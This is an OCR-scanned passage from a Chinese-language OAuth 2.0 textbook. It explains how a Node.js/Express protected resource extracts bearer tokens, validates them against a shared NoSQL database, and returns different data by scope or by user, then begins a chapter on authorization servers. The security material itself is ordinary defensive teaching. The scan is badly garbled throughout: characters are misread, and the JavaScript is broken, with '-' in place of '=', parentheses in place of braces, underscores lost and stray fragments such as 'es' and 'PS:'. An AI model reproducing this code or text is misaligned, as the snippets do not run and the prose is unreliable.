如 果 上 面 的 检查 都 通过 , 则 需要 将 头 部 中 的 bearer 关键 字 与 后 跟 的 空格 去 掉 , 获取 令 牌 值 。 
去 掉 前 缀 之 后 剩 下 的 就 是 OAuth 令 牌 值 ， 不 需要 再 做 处 理 。 幸 运 的 是 ,在 JavaScript 和 其 他 大 多 
数 语言 中 ,处 理 这 样 的 字符 串 是 小 菜 一 碟 。 请 注意 , 令 牌 值 本 身 是 区 分 大 小 瑟 的 ， 所 以 要 从 初始 
的 字符 串 中 提取 令 牌 ， 而 不 是 从 转换 之 后 的 字符 串 中 提取 。 

































































(D RFC 6750: https://tools.ietf.org/html/rfc6750., 
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inToken = auth.slice('bearer '.length); 


接 下 来 , 要 处 理 通 过 表单 参数 传递 的 令 牌 表单 参数 在 请 求 主体 中 。OAuth 规范 不 推荐 这 种 
方式 ,因为 它 人 为 地 限制 了 API 的 输入 只 能 是 表单 形式 。 如果 API 本 来 的 输入 载体 是 JSON 格式 ， 
那么 客户 端 就 无 法 在 请 求 主体 中 加 入 令 牌 了 。 在 这 种 情况 下 , 使 用 Authorization 头 部 才 是 首 
选 。 但 是 对 于 那些 输入 载体 本 来 就 是 表单 格式 的 API， 这 种 方法 既 简 单 又 能 和 API 保 持 一 致 ， 而 
且 不 需要 处 理 Authorization 头 部 。 我 们 的 练习 代码 实现 了 自动 解析 表单 参数 的 功能 ,所 以 要 
为 前 面 的 if 语句 添加 一 个 子 句 ， 来 检查 主体 中 是 否 存 在 令 牌 并 取出 令 牌 。 






































) else if (req.body && req.body.access token) { 
inToken - req.body.access token; 




















最 后 一 种 方法 是 通过 查询 参数 传递 令 牌 。 OAuth 规范 建议 ， 只 有 在 其 他 两 种 方法 都 不 可 用 时 
才 使 用 该 方法 。 使 用 这 种 方法 时 , 访问 令 牌 很 有 可 能 被 无 意 地 记录 在 服务 器 访问 日 志 中 或 者 通过 
HTTP Referrer 头 泄露 ， 它 们 都 会 整体 复制 URL。 然 而 ， 有 的 时 候 客 户 端 应 用 无 法 直接 访问 
HTTP Authorization 头 部 ( 受 限于 平台 或 库 )， 也 不 能 使 用 表单 参数 C 比如 使 用 HITP GET 方 
法 )。 另 外 ， 用 这 种 方法 不 仅 可 以 在 URL 中 包含 资源 本 身 的 定位 符 ， 而 且 还 可 以 包含 访问 方法 。 
在 这 些 情 况 下 ， 只 要 有 适当 的 安全 措施 ，OAuth 允许 客户 端 通过 查询 参数 来 传递 令 牌 。 所 用 的 处 
理 方法 与 前 面 处 理 表单 参数 的 方法 相同 。 

) else if (req.query && req.query.access token) ( 


inToken - req.query.access token 


} 


3 种 处 理 方法 全 部 完成 ， 最 终 的 函数 代码 如 附录 B 中 的 代码 清单 5 所 示 。 
将 传 入 的 令 牌 值 保存 在 inToken 变量 中 ,如 果 令 牌 没 有 传人 , 该 变量 的 值 为 nul1。 但 是 这 
还 不 够 ， 还 需要 检查 令 牌 是 否 有 效 ， 以 及 它 适用 于 哪些 操作 。 


4.2. ”根据 数据 存储 验证 令 牌 


在 示例 程序 中 ， 我 们 可 以 访问 授权 服务 器 用 于 存储 令 牌 的 数据 库 。 这 是 在 小 型 OAuth 系统 
中 常用 的 配置 方案 , 这 样 的 系统 将 授权 服务 器 与 受 保护 的 API 放 在 一 起 。 这 一 步 的 具体 细节 对 于 
我 们 的 实现 来 说 是 特有 的 ， 但 是 所 用 的 技术 和 模式 是 普遍 适用 的 。 第 11 章 将 讨论 这 种 本 地 查找 
方案 的 奉 代 方案 。 

本 例 中 的 授权 服务 器 使 用 了 一 个 NoSQL 数据 库 ， 它 将 数据 存储 在 磁盘 上 的 文件 中 ， 通 过 一 
个 简单 的 Node.js 模块 来 访问 。 如 果 你 想 实时 查看 程序 运行 时 数据 库 的 内 容 ， 可 以 监控 练习 目录 
中 的 database.nosql 文件 。 请 注意 ， 在 系统 运行 时 手动 编辑 该 文件 是 危险 的 。 不 过 幸运 的 是 ， 重 
置 数 据 库 的 方法 很 简单 ， 删 除 database.nosql 文件 并 重启 程序 即 可 。 请 注意 ， 这 个 文件 在 授权 服 
务 器 第 一 次 存储 令 牌 的 时 候 才 会 被 创建 ， 并 且 它 的 内 容 在 授权 服务 器 每 次 重启 时 都 会 被 重 置 。 

我 们 会 根据 传人 的 令 牌 值 执行 简单 的 查找 , 从 数据 库 中 找 出 访问 令 牌 。 服务 器 将 每 一 个 访问 
令 牌 和 刷新 令 牌 分 别 作为 单独 的 元 素 存储 在 数据 库 中 , 所 以 只 需要 使 用 数据 库 的 查询 功能 找 出 正 
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确 的 令 牌 即 可 。 查 询 函 数 的 细节 对 于 NoSQL 数据 库 来 说 是 特有 的 ， 但 是 其 他 数据 库 也 会 提供 类 
似 的 查询 方法 。 


nosql.one(function(token) ( 
if (token.access token == inToken) ( 
return token; 
} 
}, function(err, token) { 
if (token) { 
console.log("We found a matching token: %s", inToken); 
} else ( 
console.log('No matching token was found.'); 





} 

req.access token = token; 
next(); 

return; 


n; 
传人 的 第 一 个 函数 将 取 自 请 求 的 令 牌 与 数据 库 中 的 访问 令 牌 值 进行 对 比 。 如 果 发 现 匹配 项 ， 
它 会 停止 搜索 并 返回 令 牌 。 第 二 个 函数 会 在 发 现 匹 配 的 令 牌 时 或 者 数据 库 遍 历 到 尽头 时 ( 以 先 出 
现 者 为 准 ) 被 调用 。 如 果 在 数据 库 中 找到 令 牌 ， 它 会 被 作为 token 参数 传人 。 如 果 没 有 找到 令 
牌 , 则 该 参数 为 nul1。 无 论 找 到 什么 , 都 会 将 它 赋 值 给 req XI RU access. token 成 员 , 然后 
调用 next KZL rea 对 象 会 被 自动 传递 给 处 理 函 数 的 下 一 个 处 理 步 又 。 

返回 的 令 牌 对 象 与 授权 服务 器 在 生成 令 牌 时 搬 和 人 数据库 的 对 象 完全 相同 。 例 如 , 示例 授权 服 
务 器 会 像 下 面 这 样 将 访问 令 牌 以 及 权限 范围 保存 在 一 个 JSON 对 象 中 。 


( 























"access token": "s9nRA4qv7qVadTUssVD5DqA7oRLJ2xonn", 
"clientId": "oauth-client-1", 
"scope": ["foo"] 


} 


必须 使 用 共享 数据 库 吗 ? 

虽然 使 用 共享 数据 库 是 一 种 非常 常见 的 OAuth 部 署 模式 ， 但 它 绝 对 不 是 唯一 选择 。 有 一 
个 叫 作 令 牌 内 省 (token introspection ) 的 Web 协议 ， 它 可 以 由 授权 服务 器 提供 接口 ， 让 资源 服 
务 器 能 够 在 运行 时 检查 令 牌 的 状态 。 这 使 得 资源 服务 器 可 以 像 客 户 端 那样 将 令 牌 本 身 视 为 不 透 
明 的 ,代价 是 使 用 更 多 的 网 络 流量 。 还 有 另 一 种 方式 : 可 以 在 令 牌 内 包含 受 保 护 资源 能 够 直接 
解析 并 理解 的 信息 JWT 就 是 这 样 一 种 数据 结构 , 它 可 以 使 用 受 加 密 保 护 的 JSON 对 象 携带 声 
明 人 信息。 第 11 章 会 介绍 这 些 技术 。 

你 可 能 还 想 知道 ， 是否 必 须 将 令 牌 以 原始 值 存 储 在 数据 库 中 ,就 像 我 们 的 示例 那样 。 虽然 
这 是 一 种 简单 而 且 常 见 的 做 法 , 但 也 有 其 他 选择 。 例 如， 你 可 以 存储 令 牌 的 散 列 值 ， 而 不 是 令 
牌 值 本 身 ， 这 种 方式 类 似 于 存储 用 户 密码 。 在 查询 令 牌 时 ， 要 将 令 牌 值 再 次 进行 散 列 计算 ， 并 
同 数据 库 中 的 内 容 进 行 比较 。 还 可 以 将 一 个 唯一 标识 符 添加 到 令 牌 中 ,并 使 用 服务 器 的 密 钥 对 


52 第 4 章 构建 简单 的 OAuth 受 保 护 资源 





它 签 名 ， 在 数据 库 中 只 存储 这 个 唯一 标识 符 。 当 需要 查找 令 牌 时 ， 资 源 服务 器 可 以 验证 签名 ， 
解析 令 牌 得 到 标识 符 ， 然 后 在 数据 库 中 查找 这 个 标识 符 对 应 的 令 牌 信息 。 


加 入 这 些 代码 之 后 ， 辅 助 函数 代码 如 附录 B 中 的 代码 清单 6 所 示 。 

现在 ， 需 要 将 它 接 和 服务。 在 Expressjs 应 用 中 ， 有 两 种 选择 : 一 是 将 它 用 于 每 个 请 求 ， 二 
是 只 将 它 用 于 需要 检查 OAuth 令 牌 的 请 求 。 为 了 将 这 一 处 理应 用 到 每 个 请 求 ， 需 要 设置 一 个 新 
的 监听 噩 , 将 令 牌 检查 函数 链接 到 处 理 流程 中 。 令 牌 检查 函数 需要 在 路 由 中 其 他 所 有 函数 之 前 连 
接 ， 因 为 这 些 函 数 是 按照 在 代码 中 被 添加 的 顺序 来 执行 的 。 




















app.all('*', getAccessToken); 


另外 , 还 可 以 将 新 函数 插 人 已 有 的 处 理 函 数 设置 ， 让 新 函数 先 被 调用 。 例 如 ， 当 前 的 代码 中 
^H AI F RZ 


app.post("/resource",  function(req, res)( 








)); 
要 让 令 牌 处 理 函 数 先 被 调用 ， 需 要 做 的 就 是 在 路 由 的 处 理 函 数 定义 之 前 添加 函数 。 

















app.post("/resource", getAccessToken, function(req, res)( 


PS: 

当 路 由 处 理 函 数 被 调用 时 ， 请 求 对 象 会 被 附加 上 一 个 access token 成 员 。 如 果 令 牌 被 找 
到 ， 这 个 字段 会 包含 从 数据 库 取出 的 令 牌 对 象 。 如 果 令 牌 未 被 找到 ， 这 个 字段 将 为 null, ma 
根据 情况 做 出 处 理 。 


if (req.access token) ( 
res.json(resource); 

} else ( 
res.status(401).end(); 

} 


如 果 运 行 客户 问 应 用 并 让 它 获取 受 保护 资源 ， 会 得 到 如 图 4-1 所 示 的 页 面 。 
































Data from protected resource: 


1 

"name": "Protected Resource", 

"description": "This data has been protected by OAuth 2.0" 
} 


图 4-1 成 功 访问 受 保护 资源 之 后 的 客户 端 页 面 
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在 没有 访问 令 牌 的 情况 下 用 客户 端 访 问 受 保护 资源 将 会 得 到 一 个 错误 消息 , 该 错误 消息 来 自 
受 保护 资源 返回 给 客户 端的 HTTP 响应 〈 如 图 4-2 所 示 )。 


Error 


Error fetching protected resource. Server said: 401 








图 4-2 ” 收 到 受 保护 资源 返回 的 HTTP 错误 之 后 的 客户 端 页 面 


至 此 ， 我 们 实现 了 一 个 非常 简单 的 受 保护 资源 ， 它 能 够 根据 有 效 OAuth 令 牌 是 否 存在 来 决 
定 是 否 满 足 请 求 。 在 某 些 情况 下 ， 这 已 足够 ， 但 是 OAuth 还 能 够 对 API 提供 更 灵活 的 保护 措施 。 


4.3. ”根据 令 牌 提供 内 容 


如 果 你 的 API 提供 的 服务 不 只 是 简单 地 允许 或 拒绝 静态 资源 ， 会 怎样 呢 ? 很 多 API 设 计 中 ， 
不 同 的 操作 需要 不 同 的 访问 权限 。 还 有 一 些 API 会 根据 授权 者 不 同 而 返回 不 同 的 结果 , 或 者 根据 
不 同 权 限 返 回 某 一 部 分 信息 。 我 们 将 利用 OAuth 的 权限 范围 机 制 以 及 资源 拥有 者 引用 和 客户 端 
引用 ， 实 现 几 个 这 样 的 案例 。 

在 接 下 来 的 每 个 练习 中 ， 你 会 看 到 受 保护 资源 服务 器 的 代码 中 已 经 包含 了 上 一 个 练习 中 的 
getAccessToken 辅助 函数 ， 而 且 我 们 会 将 它 链接 到 每 一 个 HTTP 处 理 函 数 。 但 是 ， 该 函数 只 
是 提取 了 访问 令 牌 ,并 不 会 根据 令 牌 存在 与 否 做 出 处 理 决 策 。 为 解决 这 个 问题 , 需要 再 加 入 一 个 
叫 作 requireAccessToken 的 处 理 函 数 ， 它 会 在 令 牌 不 存在 时 直接 返回 错误 ,在 令 牌 存在 时 将 
控制 权 交 给 最 终 处 理 函 数 进 行 后 续 处 理 。 































































































var requireAccessToken = function(reg, res, next) ( 
if (req.access token) ( 
next(); 
} else ( 
res.status(401).end(); 
} 
es 


在 这 些 练习 中 ,我 们 会 增加 代码 ,为 每 个 处 理 函 数 检查 令 牌 的 状态 , 并 返回 正确 的 结果 。 我 
们 已 经 对 每 个 练习 中 的 客户 端 代码 做 了 处 理 , 使 它 能 够 请 求 所 有 可 用 的 权限 范围 , 并 且 授 权 服 务 
器 会 让 你 充当 资源 拥有 者 来 决定 为 客户 端 应 用 哪些 权限 范围 (如 图 4-3 所 示 )。 
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Approve this client? 
client id: oauth-client-1 
The client is requesting access to the following: 


* Bread 
* (write 
* © delete 


o E3 








Ed 4-3 批准 页 面 ， 显 示 了 不 同 的 权限 范围 ， 可 以 一 一 勾 选 


每 个 练习 中 的 客户 端 都 可 以 通过 不 同 的 按钮 来 调用 对 应 练习 中 受 保护 资源 的 所 有 功能 。 无 论 
当前 令 牌 的 权限 范围 是 什么 ， 客 户 端 中 的 所 有 按钮 都 是 可 用 的 。 


4.3.1 不 同 的 权限 范围 对 应 不 同 的 操作 


在 这 种 风格 的 API 设 计 中 , 不 同类 型 的 操作 需要 不 同 的 权限 范围 , 才能 使 调用 成 功 。 这 使 得 
资源 服务 器 可 以 根据 客户 端 能 执行 的 操作 来 划分 功能 。 这 也 是 在 单个 授权 服务 器 对 应 的 多 个 资源 
服务 器 之 间 使 用 单个 访问 令 牌 的 常用 方法 。 

请 打开 ch-4-ex-2 目录 ， 编 辑 protectedResource.js 文件 ， 保 持 client.js 和 authorizationServer.js 
文件 不 变 。 得 到 令 牌 之 后 ， 客 户 端 会 有 一 个 页 面 供 你 访问 资源 API 的 所 有 功能 (如 图 4-4 所 示 )。 
左边 的 按钮 用 于 读 取 并 显示 当前 的 单词 组 , 并 带 上 时 间 戳 。 中 间 的 按钮 用 于 向 资源 服务 器 上 当前 
存储 的 单词 列表 中 添加 一 个 新 的 单词 。 右 边 的 按钮 用 于 删除 单词 组 中 的 最 后 一 个 单词 。 


Read the current value Add a word to the list Remove the last word 
| i from the list 


DELETE the last word 































































































图 4-4 具有 3 种 不 同 功能 的 客户 端 ， 每 个 功能 对 应 一 个 权限 范围 


应 用 中 注册 了 3 个 路 由 , 分 别 对 应 不 同 的 动作 。 对 于 当前 的 代码 , 只 要 传人 的 访问 令 牌 有 效 ， 
无 论 什 么 类 型 ， 它 们 都 会 执行 。 




















app.get('/words', getAccessToken, requireAccessToken, function(req, res) ( 
res.json((words: savedWords.join(' '), timestamp: Date.now())); 


ys 


app.post('/words', getAccessToken, requireAccessToken, function(req, res) ( 
if (req.body.word) ( 
savedWords.push(req.body.word); 
j 
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res.status(201).end(); 
25 


app.delete('/words', getAccessToken, 
savedWords.pop(); 
res.status(204).end(); 

)); 


requireAccessToken, function(reqg, res) ( 


现在 , 逐个 修改 它们 , 确保 令 牌 中 至 少 包含 与 各 个 功能 对 应 的 权限 范围 。 鉴 于 我 们 在 数据 库 
中 存储 令 牌 的 方式 ， 需要 获取 令 牌 对 应 的 scope 成 员 。 对 于 GET 功能 ， 我 们 希望 客户 端 拥 有 与 
之 对 应 的 read 权限 范围 。 客 户 端 还 可 以 拥有 其 他 权限 范围 ， 但 该 API 对 此 并 不 关心 。 











app.get('/words', getAccessToken, requireAccessToken, function(req, res) ( 


if (  .contains(req.access token.scope, 'read')) ( 
res.json((words: savedWords.join(' '), timestamp: Date.now())); 
) else ( 
res.set('WWW-Authenticate', 'Bearer realm-localhost:9002, 
error-"insufficient scope", scope-"read"'); 


res.status(403); 
} 
)); 


邮 使 用 www-Authenticate 头 部 返回 错误 。 它 告诉 客户 端 该 资源 需要 接收 一 个 OAuth bearer 
电 令 牌 ， 而 且 令 牌 中 至 少 要 包含 read 权限 范围 ， 才 能 使 调用 成 功 。 在 另外 两 个 函数 中 加 入 类 似 的 


代码 ， 分 别 检查 write 和 delete 权限 范围 。 在 任何 情况 下 ， 即 使 令 牌 有 效 ， 但 只 要 权限 范围 
不 正确 ， 也 会 返回 错误 。 





app.post('/words', getAccessToken, requireAccessToken, function(req, res) ( 
if (_ .contains(req.access token.scope, 'write')) ( 
if (req.body.word) ( 
savedWords.push(req.body.word); 
} 


res.status(201).end(); 


) else ( 
res.set('WWW-Authenticate', 'Bearer realm-localhost:9002, 
error-"insufficient scope", scope-"write"'); 


res.status(403); 
} 
)); 


app.delete('/words', getAccessToken, requireAccessToken, function(req, res) { 


if (| .contains(req.access token.scope, 'delete')) ( 
savedWords.pop(); 


res.status(204).end(); 


) else ( 
res.set('WWW-Authenticate', 'Bearer realm-localhost:9002, 
error-"insufficient scope", scope-"delete"'); 


res.status(403); 
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这 样 一 来 ,要 为 客户 端 指定 不 同 的 权限 范围 组 合 , 需要 重新 对 客户 端 应 用 授权 。 例如 ， 可 以 
试 一 下 只 给 予 客户 端 read 和 write 权限 而 不 给 aelete 权限 。 你 将 会 发 现 你 能 够 向 集合 中 添加 
数据 ,但 不 能 从 中 删除 数据 。 作 为 对 本 练习 的 进 阶 , 请 对 受 保护 资源 和 客户 端 进行 扩展 ,让 它们 
支持 更 多 的 权限 范围 和 访问 类 型 。 请 不 要 忘记 更 新 授权 服务 器 中 的 客户 端 注 册 信 息 。 


4.3.2 不 同 的 权限 范围 对 应 不 同 的 数据 结果 


在 这 种 风格 的 API 设 计 中 , 同一 个 处 理 孙 数 可 以 根据 传人 的 令 牌 中 包含 的 权限 范围 不 同 , 而 
返回 不 同类 别 的 信息 。 如果 数 据 结构 复杂 , 日 希 望 通过 同一 个 API 端点 为 客户 端 提供 多 种 信息 子 
集 的 访问 ， 这 样 的 设计 就 非常 有 用 。 

请 打开 ch-4-ex-3 目录 ， 编 辑 protectedResource.js 文件 ， 保 持 client.js 和 authorizationServer.js 
文件 不 变 。 客户 端 提供 了 一 个 页 面 来 供 你 调用 API, 并 展示 通过 令 牌 获取 的 农产品 列表 ( 如 图 4-5 
所 示 )。 




















Produce API 


Current scope: 


Fruits 
Veggies: 
Meats: 


Get Produce 





图 4-5 获取 数据 之 前 的 客户 端 页 面 


在 受 保护 资源 的 代码 中 ,没有 为 不 同 的 农产品 类 别提 供 多 个 独立 的 处 理 函 数 ， 而 是 在 一 个 处 理 
函数 中 处 理 对 所 有 农产品 的 请 求 。 目 前 ， 这 个 处 理 函 数 返回 的 对 象 中 包含 所 有 种 类 的 农产品 列表 。 


app.get('/produce', getAccessToken, requireAccessToken, function(req, res) { 
































var produce - (fruit: ['apple', 'banana', 'kiwi'], 
veggies: ['lettuce', 'onion', 'potato'], 
meats: ['bacon', 'steak', 'chicken breast']); 


res.json(produce); 


}); 


在 做 任何 修改 之 前 ， 如 果 使 用 有 效 的 令 牌 访问 该 API, 会 得 到 包含 所 有 农产品 的 列表 。 如 果 
你 对 客户 端 授 权 让 它 得 到 访问 令 牌 ,但 是 不 勾 选任 何 权 限 范围 ， 你 将 看 到 如 图 4-6 所 示 的 页 面 。 
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Produce API 
Current scope: 
Fruits: 

* apple 

* banana 

* kiwi 
Veggies: 

* lettuce 


* onion 
* potato 





Meats: 
* bacon 
* steak 
* chicken breast 


Get Produce 
































图 4-6 客户 端 在 不 指定 任何 权限 范围 的 情况 下 显示 所 有 数据 


但 是 ,我 们 希望 受 保护 资源 能 够 根据 客户 端 被 授予 的 权限 范围 将 农产品 按 类 别 分 开 。 首 先 ， 
需要 切 分 数据 结构 ， 让 它 更 加 易 用 。 


var produce = (fruit: [], veggies: [], meats: []}; 
produce.fruit - ['apple', 'banana', 'kiwi']; 
produce.veggies - ['lettuce', 'onion', 'potato']; 
produce.meats - ['bacon', 'steak', 'chicken breast']; 


ni 


[un 
o 


现在 ， 可 以 分 别 将 这 些 数据 片段 放 入 控制 语句 ， 检 查 每 个 农产品 类 别 的 权限 范 








var produce = (fruit: [], veggies: [], meats: []}; 

if ( .contains(req.access token.scope, 'fruit')) ( 
produce.fruit - ['apple', 'banana', 'kiwi']; 

} 

if (| .contains(req.access token.scope, 'veggies')) { 
produce.veggies - ['lettuce', 'onion', 'potato']; 

if ( .contains(req.access token.scope, 'meats')) ( 
produce.meats - ['bacon', 'steak', 'chicken breast']; 


} 


现在 , 请 仅 使 用 fruit M veggies 权限 范围 对 客户 端 授权 ， 再 试 一 下 请 求 资源 。 你 应 该 得 
到 一 个 素食 的 购物 清单 《如 图 4-7 所 示 ) 7 























(D 这 个 清单 移 除 了 所 有 的 肉 类 ， 虽 然 培根 有 时 候 可 以 用 蔬菜 来 做 。 
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Produce API 


Current scope: 
Fruits: 

* apple 

* banana 

* kiwi 
Veggies: 

* lettuce 

* onion 

* potato 


Meals: 


Get Produce 











图 4-7 客户 端 页 本 



























































你 来 定 。OAuth 只 是 提供 了 承载 这 一 切 的 机 制 。 


4.3.3 不 同 的 用 户 对 应 不 同 的 数据 结果 


在 这 种 风格 的 API 设计 中 , 同一 个 处 理 函 数 可 以 根据 授权 客户 端的 用 户 不 同 而 返回 不 同 的 信 
息 。 这 是 一 种 常见 的 API 设计 方式 , 它 使 得 客户 端 应 用 在 不 知道 用 户 是 谁 的 情况 下 , 调用 同一 个 
URL 也 能 获取 个 性 化 的 结果 。 第 1 章 和 第 2 章 中 提 到 的 云 打印 例子 使 用 的 就 是 这 种 类 型 的 API: 
不 管用 户 是 谁 ， 打 印 服 务 调用 的 都 是 同一 个 照片 存储 API， 并 能 获取 该 用 户 的 照片 。 打 印 服务 从 
不 需要 知道 用 户 标识 符 ， 也 不 需要 知道 与 用 户 有 关 的 任何 其 他 信息 。 

请 打开 ch-4-ex-4 目录 ， 编 辑 protectedResource.js 文件 ， 保 持 client.js 和 authorizationServer.js 




















文件 不 变 。 这 个 练习 会 提供 单个 资源 URL 


显示 了 根据 权限 范围 返回 的 有 限 数据 

当然 ，OAuth 没有 要 求 必须 使 用 这 种 方式 来 划分 API。 作 为 附加 练习 ， 请 在 客户 端 和 资源 服 
务 右 上 增加 一 个 lowcarb 范围 选项 ， 用 于 返回 每 个 类 别 中 含 糖 量 低 的 农产品 。 这 个 权限 范围 可 
以 与 上 面 的 类 别 范围 到 加 生效 ,也 可 以 独立 生效 。 但 最 终 , 作 为 API 设计 者 ,权限 范围 的 含义 由 



































来 返回 用 户 的 

















裔 好 信息 ， 但 返回 的 信息 是 令 牌 对 应 的 


授权 用 户 的 信息 。 虽 然 客户 端 与 受 保护 资源 之 间 建 立 的 连接 上 并 没有 资源 拥有 者 的 登录 或 者 身份 
































认证 信息 , 但 是 生成 的 令 牌 中 会 包含 资源 扫 
身份 认证 (如 图 4-8 所 示 )。 











有 者 的 信息 ,资源 拥有 者 需要 在 授权 批准 的 环节 进行 


下 拉 菜 单 并 不 是 身份 认证 
在 图 4-8 中 ， 授 权 服 务 器 的 批准 页 面 会 让 你 选择 要 替 哪个 用 户 执 行 授 权 : Alice 或 者 Bob。 


通 
* 


常 , 这 一 步 是 通过 授权 服务 器 对 资源 拥有 者 进行 身份 认证 来 完成 的 , 而 且 一 般 认 为 允许 一 个 
经 身份 认证 的 用 户 随意 冒充 任何 人 是 极 不 安全 的 做 法 。 但 是 为 了 演示 需要 , 我 们 尽量 保证 示 
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例 代 码 简 单 ， 提供 一 个 下 拉 菜 单 来 选择 当前 用 户 。 作 为 附加 练习 ， 请 尝试 为 授权 服务 器 添加 一 
个 身份 认证 组 件 。Node.js 和 Express.js 提供 了 很 多 不 同 的 模块 ， 你 可 以 去 尝试 。 





Approve this client? 
client id: oauth-client-1 





Select user:| Alice 同 
The clienfeob "sting access to the following: 
* B movies 


* 加 foods 
* B music 


E 














图 4-8 ”授权 服务 器 的 批准 页 面 ， 提 供 了 资源 拥有 者 身份 选择 菜单 


客户 端 提 供 了 一 个 页 面 来 让 你 调用 API， 只 要 令 牌 是 正确 的 ， 就 可 以 显示 获取 到 的 个 性 化 信 
息 (如 图 4-9 所 示 )。 


Favorites API 


Resource owner's name: Unknown 























加 











Movies: 
Foods: 
Music: 


Get Favorites 





图 4-9 获取 数据 之 前 的 客户 端 页 面 


目前 ,如 你 所 见 ， 它 并 不 知道 你 所 请 求 的 是 哪个 用 户 ， 所 以 它 返回 的 是 未 知 用 户 , 并且 没有 
偏好 信息 。 查 看 受 保护 资源 的 代码 ， 很 容易 发 现 原因 所 在 。 


app.get('/favorites', getAccessToken, requireAccessToken, function(req, res) ( 
var unknown = (user: 'Unknown', favorites: (movies: [1], foods: [], music: 
(135; 
console.log('Returning', unknown); 
res.json(unknown); 


1); 
实际 上 ， 受 保护 资源 上 有 关于 Alice 和 Bob 的 信息 ， 分 别 存储 在 aliceFavorites 和 


bobFavorites 变量 中 。 
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Var aliceFavorites = ( 
'movies': ['The Multidmensional Vector', 'Space Fights', 'Jewelry Boss'], 
'foods': ['bacon', 'pizza', 'bacon pizza'], 
'music': ['techno', 'industrial', 'alternative'] 
var bobFavorites - ( 
'movies': ['An Unrequited Love', 'Several Shades of Turquoise', 'Think Of 
The Children'], 
'foods': ['bacon', 'kale', 'gravel'], 
'music': ['baroque', 'ukulele', 'baroque ukulele'] 
bt 
那么 我 们 要 做 的 就 是 根据 授权 者 是 谁 来 返回 对 应 的 数据 。 授权 服务 器 已 经 将 资源 拥有 者 的 用 


户 名 保存 在 访问 令 牌 记录 的 user 字段 中 ， 所 以 要 根据 这 个 字段 来 确定 返回 的 内 容 。 


app.get('/favorites', getAccessToken, requireAccessToken, function(req, res)( 


if (req.access token.user -- 'alice') ( 
res.json((user: 'Alice', favorites: aliceFavorites)); 
) else if (req.access token.user -- 'bob') ( 
res.json((user: 'Bob', favorites: bobFavorites)); 
) else ( 
var unknown = (user: 'Unknown', favorites: (movies: [], foods: [], 
music: []}}; 


res.json(unknown); 
j 
PS: 


现在 ， 如 果 你 在 授权 服务 器 上 以 Alice 或 Bob 的 名 义 授权 了 客户 端 ， 就 会 在 客户 端 上 得 到 他 
们 的 个 性 化 数据 。 例 如 ，Alice 的 偏好 列表 如 图 4-10 所 示 。 














Favorites API 


Resource owner's name: Alice 


Movies: 


* The Multidmensional Vector 
» Space Fights 
+ Jewelry Boss 


Foods: 


* bacon 
* pizza 
* bacon pizza 


Music 
* techno 
* industrial 


* alternative 


Get Favorites 








图 4-10 显示 Alice 的 资源 数据 的 客户 端 页 面 
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在 OAuth 处 理 流 程 中 ， 客 户 端 绝 不 会 知道 与 之 交互 的 是 Alice 而 不 是 Bob 或 Eve， 或 者 其 他 
什么 人 。 客 户 端 只 是 碰巧 知道 了 Alice 的 名 字 ， 因 为 它 调用 的 API 的 响应 中 包含 了 她 的 名 字 ， 而 
这 个 信息 也 很 容易 被 去 掉 。 这 是 一 个 很 重要 的 设计 模式 ,因为 它 可 以 避免 不 必要 地 暴露 资源 拥有 
者 的 个 人 身份 信息 ， 从 而 保护 隐私 。 如 果 与 分 享用 户 信息 的 API 结合 起 来 ， 可 以 用 OAuth 构建 
一 个 身份 认证 协议 。 第 13 章 将 讨论 这 个 话题 ， 包 括 终端 用 户 身份 认证 所 需 的 附加 功能 和 特性 。 

当然 , 你 可 以 将 以 上 这 些 方法 结合 起 来 。 本 练习 中 的 授权 服务 器 和 客户 端 已 经 支持 设 定 不 同 
权限 范围 ,但 受 保护 资源 忽略 了 权限 范围 ,作为 附加 练习 ,请 根据 客户 端 被 授予 的 movies、foods 
FI music 权限 范围 对 响应 内 容 进行 过 滤 。 


4.3.4. 额外 的 访问 控制 


使 用 OAuth 能 对 受 保护 资源 实现 的 访问 控制 远 不 止 本 章 所 列举 的 这 些 , 而 且 当今 使 用 OAuth 
的 受 保护 资源 都 有 各 自 的 应 用 模式 。 因 此 ，OAuth 并 不 插手 授权 决策 的 过 程 ， 而 只 通过 使 用 令 牌 
和 权限 范围 充当 授权 信息 的 载体 。 这 样 的 设计 思路 使 得 OAuth 广泛 应 用 于 互联 网 上 各 种 类 型 的 
API。 



























































资源 服务 器 可 以 根据 令 牌 及 其 附属 信息 ( 如 权限 范围 ) 直接 做 出 授权 决策 。 资 源 服务 器 还 可 
以 将 访问 令 牌 中 的 权限 范围 与 其 他 访问 控制 信息 结合 起 来 ,用 于 决定 是 否 响 应 API 调 用 以 及 响应 
什么 内 容 。 例 如 , 资源 服务 器 可 以 限制 特定 的 客户 端 和 用 户 只 能 在 特定 的 时 间 段 内 访问 资源 , 无 
论 令 牌 是 否 有 效 。 资 源 服务 器 甚至 可 以 以 令 牌 作为 输入 , 调用 外 部 策略 引擎 ， 以 实现 组 织 内 对 复 
杂 授 权 规则 的 集中 管理 。 

在 任何 情况 下 , 资源 服务 器 都 对 访问 令 牌 的 含义 拥有 最 终 决 定 权 。 不 管 资源 服务 器 外 包 了 多 
少 决策 过 程 ， 最 终 都 由 它 来 决定 如 何 处 理 给 定 请 求 。 





























4.4 小 结 





(EH OAuth 保护 Web API 非常 简单 。 
口 从 传 入 的 请 求 中 解析 出 令 牌 。 
口 通过 授权 服务 器 验证 令 牌 。 
口 根据 令 牌 的 权限 范围 做 出 响应 ， 令 牌 的 权限 范 轩 有 多 种 。 
客户 端 和 受 保 护 资源 已 经 构建 完毕 ， 是 时 候 来 构建 OAuth 系统 中 最 复杂 也 是 最 重要 的 组 件 
T: 授权 服务 器 。 










































































构建 简单 的 OAuth 授权 
服务 器 








本 章 内 容 

口 管理 已 注册 的 OAuth 客户 端 

a 用 户 对 客户 端 授权 

口 为 获得 授权 的 客户 端 颁发 令 牌 

口 颁发 刷新 令 牌 并 响应 令 牌 刷新 请 求 











在 前 面 两 章 中 ,我 们 构建 了 一 个 OAuth 客户 端 应 用 ， 它 可 以 从 授权 服务 器 获取 令 牌 ， 并 使 
用 令 牌 访问 受 保护 资源 , 还 构建 了 一 个 供 客户 端 访问 的 受 保护 资源 。 本 章 , 我 们 将 构建 一 个 简单 
的 授权 服务 器 ， 它 支持 授权 码 许可 类 型 。 这 个 组 件 要 管理 客户 端 ， 执 行 OAuth 核心 的 授权 操作 ， 
还 要 向 客户 端 颁发 令 牌 。 











注意 本 书 中 所 有 的 练习 和 示例 都 是 使 用 Node.js 和 JavaScript 构建 的 。 每 个 练习 都 由 多 个 组 件 
